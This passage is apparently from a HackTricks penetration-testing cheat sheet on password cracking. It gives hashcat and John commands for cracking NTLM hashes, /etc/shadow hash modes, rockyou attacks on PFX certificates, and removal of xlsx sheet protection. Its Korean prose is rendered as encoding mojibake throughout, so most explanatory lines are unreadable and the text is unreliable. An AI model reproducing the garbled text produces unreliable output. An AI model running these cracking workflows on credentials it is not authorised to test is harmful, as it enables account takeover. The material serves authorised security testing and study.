๋‹ค์Œ ์Šคํฌ๋ฆฝํŠธ [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py]์„ ์‚ฌ์šฉํ•œ ๋‹ค์Œ john์„ ์‹คํ–‰ํ•˜์„ธ์š”

Open Office ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋ณดํ˜ธ๋œ ์—ด

์ปฌ๋Ÿผ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋ณดํ˜ธ๋œ xlsx ํŒŒ์ผ์ด ์žˆ์œผ๋ฉด ๋ณดํ˜ธ๋ฅผ ํ•ด์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Upload it to google drive ํ•˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์ž๋™์œผ๋กœ ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค
  • ์ด๊ฒƒ์„ ์ˆ˜๋™์œผ๋กœ ์ œ๊ฑฐํ•˜๋ ค๋ฉด:
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

PFX Certificates

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

๋„๊ตฌ

Hash ์˜ˆ์ œ: https://openwall.info/wiki/john/sample-hashes

Hash-identifier

hash-identifier
> <HASH>

Wordlists

Wordlist Generation Tools

  • kwprocessor: ๊ตฌ์„ฑ ๊ฐ€๋Šฅํ•œ base chars, keymap ๋ฐ routes๋ฅผ ๊ฐ–์ถ˜ ๊ณ ๊ธ‰ keyboard-walk ์ƒ์„ฑ๊ธฐ.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

John mutation

_/etc/john/john.conf_๋ฅผ ์ฝ๊ณ  ๊ตฌ์„ฑํ•˜์„ธ์š”.

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Hashcat attacks

  • Wordlist attack (-a 0) ๊ทœ์น™๊ณผ ํ•จ๊ป˜

Hashcat๋Š” ์ด๋ฏธ ๊ทœ์น™์ด ํฌํ•จ๋œ ํด๋”์™€ ํ•จ๊ป˜ ์ œ๊ณต๋˜์ง€๋งŒ other interesting rules here์—์„œ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ๊ทœ์น™์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • Wordlist combinator ๊ณต๊ฒฉ

hashcat์œผ๋กœ combine 2 wordlists into 1 ํ•  ์ˆ˜ ์žˆ๋‹ค.
๋งŒ์•ฝ list 1์— **โ€œhelloโ€**๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ์žˆ๊ณ , ๋‘ ๋ฒˆ์งธ list์— **โ€œworldโ€**์™€ **โ€œearthโ€**๋ผ๋Š” ๋‘ ์ค„์ด ์žˆ๋‹ค๋ฉด, helloworld์™€ helloearth๊ฐ€ ์ƒ์„ฑ๋œ๋‹ค.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • Mask attack (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • Wordlist + Mask (-a 6) / Mask + Wordlist (-a 7) ๊ณต๊ฒฉ
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Hashcat ๋ชจ๋“œ

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Cracking Linux Hashes - /etc/shadow ํŒŒ์ผ

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Cracking Windows Hashes

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Cracking ์ผ๋ฐ˜์ ์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ Hashes

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ